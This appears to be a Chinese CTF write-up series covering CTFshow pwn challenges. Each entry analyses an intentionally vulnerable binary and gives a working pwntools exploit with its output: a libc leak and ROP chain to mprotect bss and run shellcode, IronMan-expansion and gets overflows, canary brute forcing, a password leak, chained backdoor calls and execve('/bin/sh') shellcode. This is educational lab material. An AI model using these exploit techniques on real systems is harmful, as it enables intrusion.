# ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 |grep ": pop rsi ; ret"
pop_rsi_ret = libc.address + 0x2601f
# ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 |grep ": pop rdx ;ret "
pop_rdx_ret = libc.address + 0x142c92
######### step2 : mprotect_bss_to_rwx
payload = cyclic(40)
payload+= p64(pop_rdi_ret)
payload+= p64(bss_page_addr)
payload+= p64(pop_rsi_ret)
payload+= p64(0x1000)
payload+= p64(pop_rdx_ret)
payload+= p64(0x7)
payload+= p64(libc.sym['mprotect'])
payload+= p64(main)
io.recvuntil(b"Hello CTFshow")
io.sendline(payload)
######### step3 : gets_shellcode_to_bss
payload = cyclic(40)
payload+= p64(pop_rdi_ret)
payload+= p64(shellcode_addr)
payload+= p64(libc.sym['gets'])
payload+= p64(main)
io.recvuntil(b"Hello CTFshow")
io.sendline(payload)
io.sendline(asm(shellcraft.sh()))
#gdb.attach(io)
io.interactive()

可以看到此时shellcode已经写入我们构造的bss段
最后一步就是跳转至此进行get shell了

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process('./pwn')
#io = remote('pwn.challenge.ctf.show',28127)
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
pop_rdi_ret = 0x4007e3 # 0x00000000004007e3 : pop rdi ; ret
ctfshow = elf.sym['ctfshow']
bss_page_addr = 0x601000
main = elf.sym['main']
shellcode_addr = 0x602000 - 100
print(hex(ctfshow))
print(hex(bss_page_addr))
######### step1 : leak_libc
payload = cyclic(40)
payload+= p64(pop_rdi_ret)
payload+= p64(elf.got['puts'])
payload+= p64(elf.plt['puts'])
payload+= p64(ctfshow)
io.recvuntil(b"Hello CTFshow")
io.sendline(payload)
io.recvline()
leak_addr = u64((io.recvline().split(b"\x0a")[0]).ljust(8,b'\x00'))
libc.address = leak_addr - libc.sym['puts']
success("libc_base = 0x%x",libc.address)
# ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 |grep ": pop rsi ; ret"
pop_rsi_ret = libc.address + 0x2601f
# ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 |grep ": pop rdx ;ret "
pop_rdx_ret = libc.address + 0x142c92
######### step2 : mprotect_bss_to_rwx
payload = cyclic(40)
payload+= p64(pop_rdi_ret)
payload+= p64(bss_page_addr)
payload+= p64(pop_rsi_ret)
payload+= p64(0x1000)
payload+= p64(pop_rdx_ret)
payload+= p64(0x7)
payload+= p64(libc.sym['mprotect'])
payload+= p64(main)
io.recvuntil(b"Hello CTFshow")
io.sendline(payload)
######### step3 : gets_shellcode_to_bss
payload = cyclic(40)
payload+= p64(pop_rdi_ret)
payload+= p64(shellcode_addr)
payload+= p64(libc.sym['gets'])
payload+= p64(main)
io.recvuntil(b"Hello CTFshow")
io.sendline(payload)
io.sendline(asm(shellcraft.sh()))
io.interactive()
######### step4 : ret2bss
payload = cyclic(40)
payload+= p64(shellcode_addr)
io.recvuntil(b"Hello CTFshow")
io.sendline(payload)
io.interactive()

pwn51

Hint：I‘m IronMan

checksec检查保护

$ chmod +x pwn
$ checksec pwn
  Arch:       i386-32-little
  RELRO:      Partial RELRO
  Stack:      No canary found
  NX:         NX enabled
  PIE:        No PIE (0x8048000)
  Stripped:   No

32位关闭栈保护以及PIE

IDA查看main函数：

int __cdecl main(int a1)
{
  sub_80492E6(&a1);
  sub_8049343();
  alarm(0x1Eu);
  sub_8049059();
  return 0;
}

分别跟进这几个函数，然后修改函数名，便于分析：

int __cdecl main(int a1)
{
  init();
  logo(&a1);
  alarm(0x1Eu);
  ctfshow();
  return 0;
}

跟进漏洞函数ctfshow：

int ctfshow()
{
  int v0; // eax
  int v1; // eax
  unsigned int v2; // eax
  int v3; // eax
  const char *src; // eax
  int v6; // [esp-Ch] [ebp-84h]
  int v7; // [esp-8h] [ebp-80h]
  _BYTE v8[12]; // [esp+0h] [ebp-78h] BYREF
  char s[32]; // [esp+Ch] [ebp-6Ch] BYREF
  _BYTE v10[24]; // [esp+2Ch] [ebp-4Ch] BYREF
  _BYTE v11[24]; // [esp+44h] [ebp-34h] BYREF
  unsigned int i; // [esp+5Ch] [ebp-1Ch]

  memset(s, 0, sizeof(s));
  puts("Who are you?");
  read(0, s, 0x20u);
  std::string::operator=(&unk_804D0A0, &unk_804A350);
  std::string::operator+=(&unk_804D0A0, s);
  std::string::basic_string(v10, &unk_804D0B8);
  std::string::basic_string(v11, &unk_804D0A0);
  sub_8048F06(v8);
  std::string::~string(v11, v11, v10);
  std::string::~string(v10, v6, v7);
  if ( sub_80496D6(v8) > 1u )
  {
    std::string::operator=(&unk_804D0A0, &unk_804A350);
    v0 = sub_8049700(v8, 0);
    if ( (unsigned __int8)sub_8049722(v0, &unk_804A350) )
    {
      v1 = sub_8049700(v8, 0);
      std::string::operator+=(&unk_804D0A0, v1);
    }
    for ( i = 1; ; ++i )
    {
      v2 = sub_80496D6(v8);
      if ( v2 <= i )
        break;
      std::string::operator+=(&unk_804D0A0, "IronMan");
      v3 = sub_8049700(v8, i);
      std::string::operator+=(&unk_804D0A0, v3);
    }
  }
  src = (const char *)std::string::c_str(&unk_804D0A0);
  strcpy(s, src);
  printf("Wow!you are:%s", s);
  return sub_8049616(v8);
}

很明显，与我们平时分析的不太一样，这个程序是c++写的。在往s中read的时候大小没有问题，但是程序在下面将字符”I”替换成了”IronMan”，最后在strcpy的时候发生了溢出。只需要简单计算一下 1

- 7 ，那么在输入16个“I” 就会被替换为 16 * 7 = 112个字符，而s距ebp的距离为 0x6c = 108

正常溢出覆盖到返回地址就是 cyclic(0x6c+4) = cyclic(112) ,输入16个I刚好替换成 16个”IronMan”，刚好是112个，也就刚好覆盖到返回地址

按住shift + F12查看一下字符串：

.rodata:0804A33100000012Ccat /ctfshow_flag

看到有 “cat /ctfshow_flag”关键字符串，进行查看在哪里进行了调用：

int sub_804902E()
{
  return system("cat /ctfshow_flag");
}

没有PIE和canary直接利用即可。再覆盖到返回地址后加上上述的后门函数地址即可获得flag。

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = process('./pwn')
#io = remote('pwn.challenge.ctf.show',28167)
get_flag = 0x804902E
payload = b"I"*16 + p32(get_flag)
io.sendline(payload)
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 906
[*] Switching to interactive mode
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Stack_Overflow
    * Site  : https://ctf.show/
    * Hint  : Who are you?
    * *************************************
Who are you?
Wow!you are:IronManIronManIronManIronManIronManIronManIronManIronManIronManIronManIronManIronManIronManIronManIronManIronMan.\x90\x04\x08
flag{just_test_my_process}

pwn52

Hint：迎面走来的flag让我如此蠢蠢欲动

checksec检查保护

$ chmod +x pwn
$ checksec pwn
  Arch:       i386-32-little
  RELRO:      Partial RELRO
  Stack:      No canary found
  NX:         NX enabled
  PIE:        No PIE (0x8048000)
  Stripped:   No

32位关闭栈保护与PIE

IDA查看main函数：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  logo(&argc);
  puts("What do you want?");
  ctfshow();
  return 0;
}

跟进ctfshow函数：

int ctfshow()
{
  char s[104]; // [esp+Ch] [ebp-6Ch] BYREF

  gets(s);
  return puts(s);
}

还是经典的栈溢出漏洞，再查看一下程序的敏感字符串,发现了flag函数：

char *__cdecl flag(int n876, int n877)
{
  char *result; // eax
  char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
  FILE *stream; // [esp+4Ch] [ebp-Ch]

  stream = fopen("/ctfshow_flag", "r");
  if ( !stream )
  {
    puts("/ctfshow_flag: No such file or directory.");
    exit(0);
  }
  result = fgets(s, 64, stream);
  if ( n876 == 876 && n877 == 877 )
    return (char *)printf(s);
  return result;
}

先打开文件 “/ctfshow_flag”，从文件中读取内容到字符数组 s 中，然后根据输入参数的值进行条件判断。如果输入参数的值满足特定条件，将读取的内容通过 printf 输出到屏幕，并返回字符串 s的指针。否则，返回文件读取的内容。

这里我们需要让a1 = 0x36C 且a2 = 0x36D,即可获得flag

那么我们首先需要利用栈溢出漏洞将程序流程劫持到flag函数，再满足它的条件即可：

payload=b'a'*(0x^c+4)+p32(flag)+p32(0)+p32(0x36c)+p32(0x36d)#覆盖函数返回后的 下一个指令地址

由于 payload 中传递给函数 flag 的参数满足了条件 a1 == 0x36C 和 a2 == 0x36D ，所以在函数内部的条件判断 if (a1 == 0x36C && a2 == 0x36D) 将会为真，执行相应的代码块。

因此，通过构造特定的 payload，我们可以控制函数 flag 的执行路径，使其输出文件”/ctfshow_flag” 中的内容。

from pwn import*
#context.log_level = 'debug'
io = process('./pwn')
#io = remote('pwn.challenge.ctf.show',28159)
elf = ELF('./pwn')
flag = elf.sym['flag']
payload=b'a'*(0x6c+4) + p32(flag) + p32(0) + p32(0x36c) + p32(0x36d)
io.sendline(payload)
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 941
[*] '/CTFshow_pwn/pwn'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
[*] Switching to interactive mode
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Stack_Overflow
    * Site  : https://ctf.show/
    * Hint  : You should meet its conditions!
    * *************************************
What do you want?
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x86\x85\x04\x08
flag{just_test_my_process}

pwn53

Hint：存在后门函数，如何利用？

checksec检查保护

$ chmod +x pwn
$ checksec pwn
  Arch:       i386-32-little
  RELRO:      Partial RELRO
  Stack:      No canary found
  NX:         NX enabled
  PIE:        No PIE (0x8048000)
  Stripped:   No

32位关闭栈保护与PIE

IDA查看main函数：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  logo(&argc);
  canary();
  ctfshow();
  return 0;
}

跟进canary函数：

int canary()
{
  FILE *stream; // [esp+Ch] [ebp-Ch]

  stream = fopen("/canary.txt", "r");
  if ( !stream )
  {
    puts("/canary.txt: No such file or directory.");
    exit(0);
  }
  fread(&global_canary, 1u, 4u, stream);
  return fclose(stream);
}

先声明了一个指针变量 stream ，用于表示文件指针。然后，使用 fopen 函数打开名为”/canary.txt” 的文件，以只读模式打开。如果打开失败，即文件不存在或无法打开，程序将输出一条错误信息 “/canary.txt: No such file or directory.” 并调用 exit(0) 终止程序。

再使用 fread 函数从打开的文件中读取 4 个字节（32 位）的数据，并将其存储到全局变global_canary 中。 &global_canary 是 global_canary 变量的地址，用于指定数据的存储位置。

跟进ctfshow函数：

int ctfshow()
{
  size_t nbytes; // [esp+4h] [ebp-54h] BYREF
  _DWORD v2[8]; // [esp+8h] [ebp-50h] BYREF
  _BYTE buf[32]; // [esp+28h] [ebp-30h] BYREF
  int s1; // [esp+48h] [ebp-10h] BYREF
  int n31; // [esp+4Ch] [ebp-Ch]

  n31 = 0;
  s1 = global_canary;
  printf("How many bytes do you want to write to the buffer?\n>");
  while ( n31 <= 31 )
  {
    read(0, (char *)v2 + n31, 1u);
    if ( *((_BYTE *)v2 + n31) == 10 )
      break;
    ++n31;
  }
  __isoc99_sscanf(v2, "%d", &nbytes);
  printf("$ ");
  read(0, buf, nbytes);
  if ( memcmp(&s1, &global_canary, 4u) )
  {
    puts("Error *** Stack Smashing Detected *** : Canary Value Incorrect!");
    exit(-1);
  }
  puts("Where is the flag?");
  return fflush(stdout);
}

首先定义了一些局部变量，包括 nbytes 、 v2 、 buf 、 s1 和 n31 。 nbytes 用于存储用户输入的字节数， v2 是一个字符数组，用于存储用户输入的内容， buf 是一个字符数组，用于存储从标准输入读取的数据。 s1 是一个整型变量，用于存储全局变量 global_canary 的值。 n31 是一个整型变量，用于控制循环。

再使用 read 函数从标准输入读取用户的输入，并存储到字符数组 v2 中。循环会一直进行，直到遇到换行符 \n （ASCII码为10）为止。每次读取一个字节，存储到 v2 中，并逐渐增加 n31 的值。 n31用于记录读取的字符个数。

接着使用 __isoc99_sscanf 函数将 v2 中的字符串转换为整数，并存储到 nbytes 中。这里使用%d 格式说明符将字符串解析为一个有符号整数。

使用 printf 输出提示信息 “$ “，表示等待用户输入。接着，使用 read 函数从标准输入读取nbytes 个字节的数据，并将数据存储到缓冲区 buf 中。

之后，代码通过比较 s1 和全局变量 global_canary 的值来检查堆栈的完整性。如果两者的值不相等，表示堆栈被破坏，输出错误信息 “Error *** Stack Smashing Detected *** : Canary ValueIncorrect!”，并调用 exit(-1) 终止程序。

最后，代码输出信息 “Where is the flag?”，并调用 fflush(stdout) 刷新标准输出缓冲区。

总结起来，这段代码的功能是从标准输入读取用户输入的字节数，并将相应字节数的数据读取到缓冲区 buf 中。然后，它会检查堆栈的完整性，如果堆栈被破坏，则输出错误信息并终止程序。我们可以看出程序是模拟了一个保护，但是由于文件名不变，其内容大概率也是不会变化的。加上题目提示猜测可以进行爆破。

还注意到有一个flag函数：

int flag()
{
  char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
  FILE *stream; // [esp+4Ch] [ebp-Ch]

  stream = fopen("/ctfshow_flag", "r");
  if ( !stream )
  {
    puts("/ctfshow_flag: No such file or directory.");
    exit(0);
  }
  fgets(s, 64, stream);
  puts(s);
  return fflush(stdout);
}

在爆破完成知道canary的情况下，剩下的就是简单的栈溢出劫持程序执行流至flag函数就能get flag了

#本地
$ echo "/x00/x00/x00/x00" | sudo tee /canary.txt > /dev/null

from pwn import *
context.log_level = 'critical' #context是pwntools中的全局配置对象，log_level 用于设置日志输出的详细程度。常见的级别从低到高为：debug（最详细）→ info → warning → error → critical（最简略）。
canary = b''
for i in range(4): #32位Canary共4字节，逐字节泄露
for c in range(0xFF): #尝试每个可能的字节值（0-255）
io = process('./pwn')
io.sendlineafter(b'>',b'-1') #程序输出>(分隔符)后，-1输入【nbytes 被解析为负数时，在 32 位系统中会被转换为一个很大的无符号整数（因为 read 函数的第三个参数是无符号数），所以这句允许写入足够多的字节，触发栈溢出。】
payload = b'a'*0x20 + canary + p8(c) #p8(c)将c打包1字节(8位)的字节串，p8()会发送不可见字符，如果用b''的话我们只能发送可见字符
io.sendafter(b'$ ',payload)
io.recv(1) # 跳过的是程序输出中 "$ " 之后、关键判断信息之前的多余字符，最可能是 换行符 \n 或空字节，去掉也能打通（不懂）
ans = io.recv()
print(ans)
if b'Canary Value Incorrect!' not in ans:
print('The index({}),value({})'.format(i,c)) 
canary += p8(c) #保存该字节
break
else:
print('tring... ...') 
io.close()
print('canary=',canary) 
io = process('./pwn')
elf = ELF('./pwn')
flag = elf.sym['flag']
#填充buf缓冲区并实现栈溢出
payload = b'a'*0x20 + canary + p32(0)*4 + p32(flag)#p32(0)*4的作用是覆盖Canary之后到返回地址之间的所有内容
io.sendlineafter(b'>',b'-1')
io.sendafter(b'$ ',payload)
io.interactive()

低地址
栈地址              变量               大小       说明
ebp-0x58~ebp-0x54  nbytes            4字节     用户输入的字节数
ebp-0x50~ebp-0x30  var_50[8]         32字节    临时缓冲区(接收用户输入)
ebp-0x30~ebp-0x10  buf[32]           32字节    目标缓冲区(存在溢出)
ebp-0x10~ebp-0x0C  s1                4字节     canary副本(用于校验)
ebp-0x0C~ebp-0x04  var_C             4字节    临时变量
ebp-0x04~ebp+0x00  var_4             4字节    临时变量
ebp+0x00~ebp+0x04  __saved_registers 4字节    保存的EBP寄存器
ebp+0x04~ebp+0x08  __return_address  4字节    返回地址(覆盖目标)
高地址

$ python3 exp.py
b'rror *** Stack Smashing Detected *** : Canary Value Incorrect!\n'
tring... ...
... 
...
b'here is the flag?\n'
The index(0),value(47)
b'rror *** Stack Smashing Detected *** : Canary Value Incorrect!\n'
tring... ...
... 
...
b'here is the flag?\n'
The index(1),value(120)
b'rror *** Stack Smashing Detected *** : Canary Value Incorrect!\n'
tring... ...
... 
...
b'here is the flag?\n'
The index(2),value(48)
b'rror *** Stack Smashing Detected *** : Canary Value Incorrect!\n'
tring... ...
...
...
b'here is the flag?\n'
The index(3),value(48)
canary= b'/x00'
Where is the flag?
flag{just_test_my_process}
$

pwn54

Hint：再近一点靠近点快被融化

checksec检查保护

$ chmod +x pwn
$ checksec pwn
  Arch:       i386-32-little
  RELRO:      Partial RELRO
  Stack:      No canary found
  NX:         NX enabled
  PIE:        No PIE (0x8048000)
  Stripped:   No

32位程序关闭栈保护与PIE

IDA查看main函数：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s1[64]; // [esp+0h] [ebp-1A0h] BYREF
  char v5[256]; // [esp+40h] [ebp-160h] BYREF
  char s[64]; // [esp+140h] [ebp-60h] BYREF
  FILE *stream; // [esp+180h] [ebp-20h]
  char *v8; // [esp+184h] [ebp-1Ch]
  int *p_argc; // [esp+194h] [ebp-Ch]

  p_argc = &argc;
  setvbuf(stdout, 0, 2, 0);
  memset(s, 0, sizeof(s));
  memset(v5, 0, sizeof(v5));
  memset(s1, 0, sizeof(s1));
  puts("==========CTFshow-LOGIN==========");
  puts("Input your Username:");
  fgets(v5, 256, stdin);
  v8 = strchr(v5, 10);
  if ( v8 )
    *v8 = 0;
  strcat(v5, ",\nInput your Password.");
  stream = fopen("/password.txt", "r");
  if ( !stream )
  {
    puts("/password.txt: No such file or directory.");
    exit(0);
  }
  fgets(s, 64, stream);
  printf("Welcome ");
  puts(v5);
  fgets(s1, 64, stdin);
  v5[0] = 0;
  if ( !strcmp(s1, s) )
  {
    puts("Welcome! Here's what you want:");
    flag();
  }
  else
  {
    puts("You has been banned!");
  }
  return 0;
}

声明了一些局部变量，包括字符数组 s1 、v5 和 s ，以及文件指针 stream 、字符指针 v8 和整型指针 p_argc 。

接下来，使用 memset 函数将字符数组 s 、 v5 和 s1 初始化为全零。使用 fgets 函数从标准输入中读取用户输入的用户名，并存储到字符数组 v5 中。 v5的长度限制为 256 字节。接下来，使用strchr 函数在 s_ 中查找换行符 \n ，如果找到，则将其替换为字符串终止符 \0 。然后，使用strcat 函数将附加的字符串 “,\nInput your Password.” 连接到 s_ 后面。使用 fopen 函数打开名为 “/password.txt” 的文件，以只读模式打开。如果打开失败，即文件不存在或无法打开，程序将输出一条错误信息 “/password.txt: No such file or directory.” 并调用 exit(0) 终止程序。

接着，使用 fgets 函数从文件中读取一行内容（最多 64 个字符），存储到字符数组 s 中。这从”/password.txt” 文件中读取的密码。

然后，使用 printf 输出欢迎信息 “Welcome “，并使用 puts 输出用户输入的用户名 v5 。

接下来，使用 fgets 函数从标准输入中读取用户输入的密码，并存储到字符数组 s1 中。

最后，将字符数组 v5 的第一个元素设置为零，清空用户输入的用户名。

接下来看关键部分：

if ( !strcmp(s1, s) )
  {
    puts("Welcome! Here's what you want:");
    flag();
  }
  else
  {
    puts("You has been banned!");
  }
  return 0;

这部分代码使用 strcmp 函数比较用户输入的密码 s1 和从文件中读取的密码 s 是否相等。如果相等，表示密码验证成功，输出欢迎信息 “Welcome! Here’s what you want:”，然后调用 flag 函数。

如果不相等，表示密码验证失败，输出 “You has been banned!” 的提示信息。

跟进flag函数：

int flag()
{
  char s[48]; // [esp+Ch] [ebp-3Ch] BYREF
  FILE *stream; // [esp+3Ch] [ebp-Ch]

  stream = fopen("/ctfshow_flag", "r");
  if ( !stream )
  {
    puts("/ctfshow_flag: No such file or directory.");
    exit(0);
  }
  fgets(s, 48, stream);
  printf("%s", s);
  return 0;
}

总结起来，这段代码实现了一个简单的登录功能。它要求用户输入用户名和密码，并与预先存储在文件 “/password.txt” 中的密码进行比较。如果密码验证成功，则输出欢迎信息并输出flag，但是并没有对用户名有啥要求。

那么关键就是我们如何找到password.txt内的内容

参数v5（存放name）和参数s（存放flag）在栈上的位置相差不远，而且给参数v5读入数据的时候可以覆盖道参数s

of main

-0000000000000060     _BYTE s;
-0000000000000160     char v5;

他们相差 0x160-0x60=0x100 ，而且我们对v5输入的数据长度正好是0x100,可以将v5填充满，后面紧接着的就是s，main函数里的30行会将s_打印出来

puts遇到’\x00’才停止

将’n’替换成’x00’使得puts(v5)能正确输出输入的name，但如果输入了0x100个垃圾数据的话，会导致最后一个’n’并没有读入而导致程序在puts(v5)时会连带下面的password一起输出，这样我们就可以得到服务器上的password，所以会将password顺带着打印出来。

我们可以借此接收到服务器中password.txt的内容，再重新连接一次输入我们接收到的密码输入进去即可获得flag。这次用户名就随意了，小于256即可，然后再输入密码。。

#本地自己写文件
$ echo "CTFshow_PWN_r00t_p@ssw0rd_1s_h3r3" | sudo tee/password.txt > /dev/null

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
payload=b"aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac" #cyclic(0x100)
io.sendline(payload)
io.recvuntil(b'aa,') # 定位到payload中的特征点
password = io.recvuntil(b'\n').strip()  # 读取完整密码行并去除换行符
print(password)
io.close()
io=process('./pwn')
io.sendline(b'bit') #用户名
io.sendline(password)
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 103
b'CTFshow_PWN_r00t_p@ssw0rd_1s_h3r3'
[*] Process './pwn' stopped with exit code 0 (pid 103)
[+] Starting local process './pwn': pid 105
[*] Switching to interactive mode
[*] Process './pwn' stopped with exit code 0 (pid 105)
==========CTFshow-LOGIN==========
Input your Username:
Welcome bit,
Input your Password.
Welcome! Here's what you want:
flag{just_test_my_process}
$

pwn55

Hint：你是我的谁，我的我是你的谁

checksec检查保护

$ chmod +x pwn
$ checksec pwn
  Arch:       i386-32-little
  RELRO:      Partial RELRO
  Stack:      No canary found
  NX:         NX enabled
  PIE:        No PIE (0x8048000)
  Stripped:   No

32位关闭栈保护与PIE

IDA查看main函数：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  logo(&argc);
  puts("How to find flag?");
  ctfshow();
  return 0;
}

跟进ctfshow函数：

char *ctfshow()
{
  char s[40]; // [esp+Ch] [ebp-2Ch] BYREF

  printf("Input your flag: ");
  return gets(s);
}

gets函数输入，没有限制读入长度，存在溢出漏洞

发现三个跟flag有关的函数：

int __cdecl flag(int a1)
{
  char s[48]; // [esp+Ch] [ebp-3Ch] BYREF
  FILE *stream; // [esp+3Ch] [ebp-Ch]

  stream = fopen("/ctfshow_flag", "r");
  if ( !stream )
  {
    puts("/ctfshow_flag: No such file or directory.");
    exit(0);
  }
  fgets(s, 48, stream);
  if ( flag1 && flag2 && a1 == -1111638595 )
    return printf("%s", s);
  if ( flag1 && flag2 )
    return puts("Incorrect Argument.");
  if ( flag1 || flag2 )
    return puts("Nice Try!");
  return puts("Flag is not here!");
}

看到程序将flag读入到了参数s里面，满足条件flag1&&flag2 &&a1==0xBDBDBDBD的条件，就能读出flag

Elf32_Dyn **flag_func1()
{
  Elf32_Dyn **_GLOBAL_OFFSET_TABLE; // eax

  _GLOBAL_OFFSET_TABLE = &GLOBAL_OFFSET_TABLE_;
  flag1 = 1;
  return _GLOBAL_OFFSET_TABLE;
}

flag_func1函数直接给flag1赋值成了1

Elf32_Dyn **__cdecl flag_func2(int a1)
{
  Elf32_Dyn **_GLOBAL_OFFSET_TABLE; // eax

  _GLOBAL_OFFSET_TABLE = &GLOBAL_OFFSET_TABLE_;
  if ( flag1 && a1 == -1397969748 )
  {
    flag2 = 1;
  }
  else if ( flag1 )
  {
    return (Elf32_Dyn **)puts("Try Again.");
  }
  else
  {
    return (Elf32_Dyn **)puts("Try a little bit.");
  }
  return _GLOBAL_OFFSET_TABLE;
}

flag_func2函数当满足条件的时候会将flag2赋值为1

那么我们思路就很明确了，首先溢出后覆盖ret为flag_func1,将flag1赋值为1。之后跳转到flag_func2的地址，a1是传入的参数，将a1传入即可满足条件去设置flag2的值为1，之后去执行flag函数，if要满足的条件之前都设置好了，可以直接读出flag

from pwn import *
context(arch = "i386",os = 'linux',log_level= "debug")
io = process('./pwn')
#io = remote('pwn.challenge.ctf.show',28199)
elf = ELF('./pwn')
flag_func1 = elf.sym['flag_func1']
flag_func2 = elf.sym['flag_func2']
flag = elf.sym['flag']
payload = b"a" * (0x2c+4)
payload += p32(flag_func1)
payload += p32(flag_func2) + p32(flag) + p32(0xACACACAC) + p32(0xBDBDBDBD) #-1397969748（0xACACACAC）,-1111638595（0xBDBDBDBD）
io.sendlineafter(b"flag: ", payload)
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 1300
[*] '/CTFshow_pwn/pwn'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
[*] Switching to interactive mode
flag{just_test_my_process}

pwn56

Hint：先了解一下简单的32位shellcode吧

checksec检查保护

$ chmod +x pwn
$ checksec pwn
  Arch:       i386-32-little
  RELRO:      No RELRO
  Stack:      No canary found
  NX:         NX disabled
  PIE:        No PIE (0x8048000)
  Stripped:   No

32位保护全关

IDA查看一下：

void __noreturn start()
{
  int v0; // eax
  char _bin___sh_[10]; // [esp-Ch] [ebp-Ch] BYREF
  __int16 v2; // [esp-2h] [ebp-2h]

  v2 = 0;
  strcpy(_bin___sh_, "/bin///sh");
  v0 = sys_execve(_bin___sh_, 0, 0);
}

很明显就是简单的调用了一个shell，那么我们进行逐步分析：

先将汇编代码拿出来分析：

push    68h ; 'h'
push    732F2F2Fh
push    6E69622Fh
mov     ebx, esp        ; file
xor     ecx, ecx        ; argv
xor     edx, edx        ; envp
push    0Bh
pop     eax
int     80h             ; LINUX - sys_execve

这段代码是x86汇编语言的代码，用于在Linux系统上执行一个系统调用来执行

execve(“/bin/sh”, NULL, NULL) 。让我们逐行解析代码的功能：

push 0x68 
#这行代码将十六进制值 0x68 （104的十进制表示）压入栈中。这是为了将后续的字符串 "/bin/sh"的长度（11个字符）放入栈中，以便后续使用。
push 0x732f2f2f
#这行代码将十六进制值 0x732f2f2f 压入栈中。这是字符串 "/bin/sh" 的前半部分字符的逆序表示，即 "sh//"。这是因为x86架构是小端字节序的，字符串需要以逆序方式存储在内存中。
push 0x6e69622f
#这行代码将十六进制值 0x6e69622f 压入栈中。这是字符串 "/bin/sh" 的后半部分字符的逆序表
示，即 "/bin"。
mov ebx,esp
#这行代码将栈顶的地址（即字符串"/bin/sh"的起始地址）复制给寄存器 ebx。ebx寄存器将用作execve 系统调用的第一个参数，即要执行的可执行文件的路径。
xor ecx,ecx
xor edx,edx
#这两行代码使用异或操作将 ecx 和 edx 寄存器的值设置为零。 ecx 和 edx 分别将用作 execve系统调用的第二个和第三个参数，即命令行参数和环境变量。在此情况下，我们将它们设置为 NULL，表示没有命令行参数和环境变量。
push 0xB
pop eax
这两行代码将值11（0xb）压入栈中，然后从栈中弹出到寄存器 eax。eax寄存器将用作系统调用号，11表示execve系统调用的系统调用号。
int 0x80
这行代码触发中断 0x80 ，这是Linux系统中用于执行系统调用的中断指令。通过设置适当的寄存器值（ eax 、 ebx 、 ecx 、 edx ）， int 0x80 指令将执行 execve("/bin/sh", NULL, NULL) 系统调用，从而启动一个新的 shell 进程。

总结起来，这段汇编代码的功能是利用系统调用在Linux系统上执行 execve(“/bin/sh”, NULL,NULL) ，即打开一个新的shell进程。

from pwn import *
context.log_level = 'debug'
io = remote('pwn.challenge.ctf.show',28159)
io.interactive()

$ ./pwn
$ ls
ctfshow_flag

pwn57

Hint：先了解一下简单的64位shellcode吧

checksec检查保护

$ chmod +x pwn
$ checksec pwn
  Arch:       amd64-64-little
  RELRO:      No RELRO
  Stack:      No canary found
  NX:         NX disabled
  PIE:        No PIE (0x400000)
  Stack:      Executable
  Stripped:   No

64位保护全关

IDA查看一下：

void __noreturn start()
{
  __asm { syscall; LINUX - }
}

将汇编代码拿出来逐步分析：

push    rax
xor     rdx, rdx
xor     rsi, rsi
mov     rbx, 68732F2F6E69622Fh  
push    rbx
push    rsp
pop     rdi
mov     al, 3Bh ; ';'
syscall                 ; LINUX -

采用的是小端字节序,逆序
2F 62 69 6E 2F 2F 73 68
/  b  i  n  /  /  s  h
在Linux系统中，路径里连续的斜杠/会被当作单个斜杠来处理。所以，/bin//sh 和/bin/sh 指向的是同一个文件。

这段代码是x86-64汇编语言的代码，用于在Linux系统上执行 execve(“/bin/sh”, NULL,NULL) 。让我们逐行解析代码的功能：

push rax 
#这行代码将 rax 寄存器的值（通常用于存放函数返回值）压入栈中。这里的目的是保留 rax 的值，以便后续使用。
xor rdx, rdx
xor rsi, rsi
#这两行代码使用异或操作将 rdx 和 rsi 寄存器的值设置为零。 rdx 和 rsi 分别将用作 execve系统调用的第三个和第二个参数，即环境变量和命令行参数。在此情况下，我们将它们设置为 NULL，表示没有环境变量和命令行参数。
mov rbx, '/bin//sh' 
#这行代码将字符串 '/bin//sh' 的地址赋值给 rbx 寄存器。字符串 '/bin//sh' 是我们要执行的可执行文件的路径。在x86-64汇编中，字符串被当作地址处理。
push rbx 
#这行代码将 rbx 寄存器的值（字符串 '/bin//sh' 的地址）压入栈中。这是为了将可执行文件路径传递给 execve 系统调用的第一个参数。
push rsp
pop rdi
#这两行代码将栈顶的地址（即字符串'/bin//sh'的地址）弹出到rdi寄存器。rdi寄存器将用作execve 系统调用的第一个参数，即可执行文件路径。
mov al, 59 
#这行代码将 al 寄存器设置为值 59 ， 59 是 execve 系统调用的系统调用号。
syscall 
